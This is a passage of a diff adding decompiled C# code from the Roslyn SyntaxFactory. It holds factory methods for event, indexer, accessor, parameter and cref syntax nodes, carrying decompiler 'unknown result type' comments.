IL or missing references) + return ArrowExpressionClause(Token(SyntaxKind.EqualsGreaterThanToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax EventDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + if (eventKeyword.Kind() != SyntaxKind.EventKeyword) + { + throw new ArgumentException("eventKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EventDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref eventKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (explicitInterfaceSpecifier == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)explicitInterfaceSpecifier).Green), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (accessorList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorListSyntax)(object)((SyntaxNode)accessorList).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax EventDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return EventDeclaration(attributeLists, modifiers, Token(SyntaxKind.EventKeyword), type, explicitInterfaceSpecifier, identifier, accessorList, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax EventDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return EventDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.EventKeyword), type, null, identifier, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax EventDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + return EventDeclaration(default(SyntaxList), default(SyntaxTokenList), Token(SyntaxKind.EventKeyword), type, null, Identifier(identifier), null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax IndexerDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + if (type == null) + { + throw new ArgumentNullException("type"); + } + if (thisKeyword.Kind() != SyntaxKind.ThisKeyword) + { + throw new ArgumentException("thisKeyword"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + SyntaxKind syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IndexerDeclaration(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (explicitInterfaceSpecifier == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExplicitInterfaceSpecifierSyntax)(object)((SyntaxNode)explicitInterfaceSpecifier).Green), (SyntaxToken)(object)((SyntaxToken)(ref thisKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedParameterListSyntax)(object)((SyntaxNode)parameterList).Green, (accessorList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.AccessorListSyntax)(object)((SyntaxNode)accessorList).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax IndexerDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return IndexerDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, Token(SyntaxKind.ThisKeyword), parameterList, accessorList, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax IndexerDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + return IndexerDeclaration(default(SyntaxList), default(SyntaxTokenList), type, null, Token(SyntaxKind.ThisKeyword), BracketedParameterList(), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax AccessorList(SyntaxToken openBraceToken, SyntaxList accessors, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AccessorList((SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenList(accessors.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax AccessorList(SyntaxList accessors = default(SyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return AccessorList(Token(SyntaxKind.OpenBraceToken), accessors, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8896 > (SyntaxKind)4 && kind != SyntaxKind.InitAccessorDeclaration) + { + throw new ArgumentException("kind"); + } + SyntaxKind syntaxKind = keyword.Kind(); + if (syntaxKind - 8417 > (SyntaxKind)3 && syntaxKind != SyntaxKind.InitKeyword && syntaxKind != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("keyword"); + } + syntaxKind = semicolonToken.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AccessorDeclaration(kind, GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node, (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, attributeLists, modifiers, Token(GetAccessorDeclarationKeywordKind(kind)), body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, default(SyntaxList), default(SyntaxTokenList), Token(GetAccessorDeclarationKeywordKind(kind)), null, null, default(SyntaxToken)); + } + + private static SyntaxKind GetAccessorDeclarationKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.GetAccessorDeclaration => SyntaxKind.GetKeyword, + SyntaxKind.SetAccessorDeclaration => SyntaxKind.SetKeyword, + SyntaxKind.InitAccessorDeclaration => SyntaxKind.InitKeyword, + SyntaxKind.AddAccessorDeclaration => SyntaxKind.AddKeyword, + SyntaxKind.RemoveAccessorDeclaration => SyntaxKind.RemoveKeyword, + SyntaxKind.UnknownAccessorDeclaration => SyntaxKind.IdentifierToken, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax ParameterList(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ParameterList((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(parameters.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax ParameterList(SeparatedSyntaxList parameters = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ParameterList(Token(SyntaxKind.OpenParenToken), parameters, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax BracketedParameterList(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BracketedParameterList((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(parameters.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax BracketedParameterList(SeparatedSyntaxList parameters = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return BracketedParameterList(Token(SyntaxKind.OpenBracketToken), parameters, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax Parameter(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax? @default) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = identifier.Kind(); + if (syntaxKind != SyntaxKind.ArgListKeyword && syntaxKind != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Parameter(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (type == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (@default == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EqualsValueClauseSyntax)(object)((SyntaxNode)@default).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax Parameter(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Parameter(default(SyntaxList), default(SyntaxTokenList), null, identifier, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterSyntax FunctionPointerParameter(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FunctionPointerParameter(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterSyntax FunctionPointerParameter(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerParameter(default(SyntaxList), default(SyntaxTokenList), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IncompleteMemberSyntax IncompleteMember(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return (Microsoft.CodeAnalysis.CSharp.Syntax.IncompleteMemberSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IncompleteMember(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (type == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IncompleteMemberSyntax IncompleteMember(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type = null) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return IncompleteMember(default(SyntaxList), default(SyntaxTokenList), type); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SkippedTokensTriviaSyntax SkippedTokensTrivia(SyntaxTokenList tokens) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return (Microsoft.CodeAnalysis.CSharp.Syntax.SkippedTokensTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SkippedTokensTrivia(GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref tokens)).Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SkippedTokensTriviaSyntax SkippedTokensTrivia() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return SkippedTokensTrivia(default(SyntaxTokenList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DocumentationCommentTriviaSyntax DocumentationCommentTrivia(SyntaxKind kind, SyntaxList content, SyntaxToken endOfComment) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8544 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + if (endOfComment.Kind() != SyntaxKind.EndOfDocumentationCommentToken) + { + throw new ArgumentException("endOfComment"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DocumentationCommentTriviaSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DocumentationCommentTrivia(kind, GreenNodeExtensions.ToGreenList(content.Node), (SyntaxToken)(object)((SyntaxToken)(ref endOfComment)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DocumentationCommentTriviaSyntax DocumentationCommentTrivia(SyntaxKind kind, SyntaxList content = default(SyntaxList)) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return DocumentationCommentTrivia(kind, content, Token(SyntaxKind.EndOfDocumentationCommentToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeCrefSyntax TypeCref(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeCrefSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeCref((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedCrefSyntax QualifiedCref(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax container, SyntaxToken dotToken, Microsoft.CodeAnalysis.CSharp.Syntax.MemberCrefSyntax member) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (container == null) + { + throw new ArgumentNullException("container"); + } + if (dotToken.Kind() != SyntaxKind.DotToken) + { + throw new ArgumentException("dotToken"); + } + if (member == null) + { + throw new ArgumentNullException("member"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedCrefSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.QualifiedCref((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)container).Green, (SyntaxToken)(object)((SyntaxToken)(ref dotToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.MemberCrefSyntax)(object)((SyntaxNode)member).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedCrefSyntax QualifiedCref(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax container, Microsoft.CodeAnalysis.CSharp.Syntax.MemberCrefSyntax member) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return QualifiedCref(container, Token(SyntaxKind.DotToken), member); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameMemberCrefSyntax NameMemberCref(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax name, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + if (name == null) + { + throw new ArgumentNullException("name"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NameMemberCrefSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.NameMemberCref((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)name).Green, (parameters == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefParameterListSyntax)(object)((SyntaxNode)parameters).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NameMemberCrefSyntax NameMemberCref(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax name) + { + return NameMemberCref(name, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IndexerMemberCrefSyntax IndexerMemberCref(SyntaxToken thisKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.CrefBracketedParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (thisKeyword.Kind() != SyntaxKind.ThisKeyword) + { + throw new ArgumentException("thisKeyword"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.IndexerMemberCrefSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IndexerMemberCref((SyntaxToken)(object)((SyntaxToken)(ref thisKeyword)).Node, (parameters == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CrefBracketedParameterListSyntax)(object)((SyntaxNode)parameters).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IndexerMemberCrefSyntax IndexerMemberCref(Microsoft.CodeAnalysis.CSharp.Syntax.CrefBracketedParameterListSyntax? parameters = null) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return IndexerMemberCref(Token(SyntaxKind.ThisKeyword), parameters); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorMemberCrefSyntax OperatorMemberCref(SyntaxToken operatorKeyword, SyntaxToken checkedKeyword, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax? parameters) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + if (operatorKeyword.Kind() != SyntaxKind.OperatorKeyword) + { + throw new ArgumentException("operatorKeyword"); + } + SyntaxKind syntaxKind = checkedKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.CheckedKeyword) + { + throw new ArgumentException("checkedKeyword"); + } + switch (operatorToken.Kind()) + { + default: + throw new ArgumentException("operatorToken"); + case SyntaxKind.TildeToken: + case SyntaxKind.ExclamationToken: + case SyntaxKind.PercentToken: + case SyntaxKind.CaretToken: + case SyntaxKind.AmpersandToken: + case SyntaxKind.AsteriskToken: + case SyntaxKind.MinusToken: + case SyntaxKind.PlusToken: + case SyntaxKind.BarToken: + case SyntaxKind.LessThanToken: + case SyntaxKind.GreaterThanToken: + case SyntaxKind.SlashToken: + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + case SyntaxKind.ExclamationEqualsToken: + case SyntaxKind.EqualsEqualsToken: + case SyntaxKind.LessThanEqualsToken: + case SyntaxKind.LessThanLessThanToken: + case 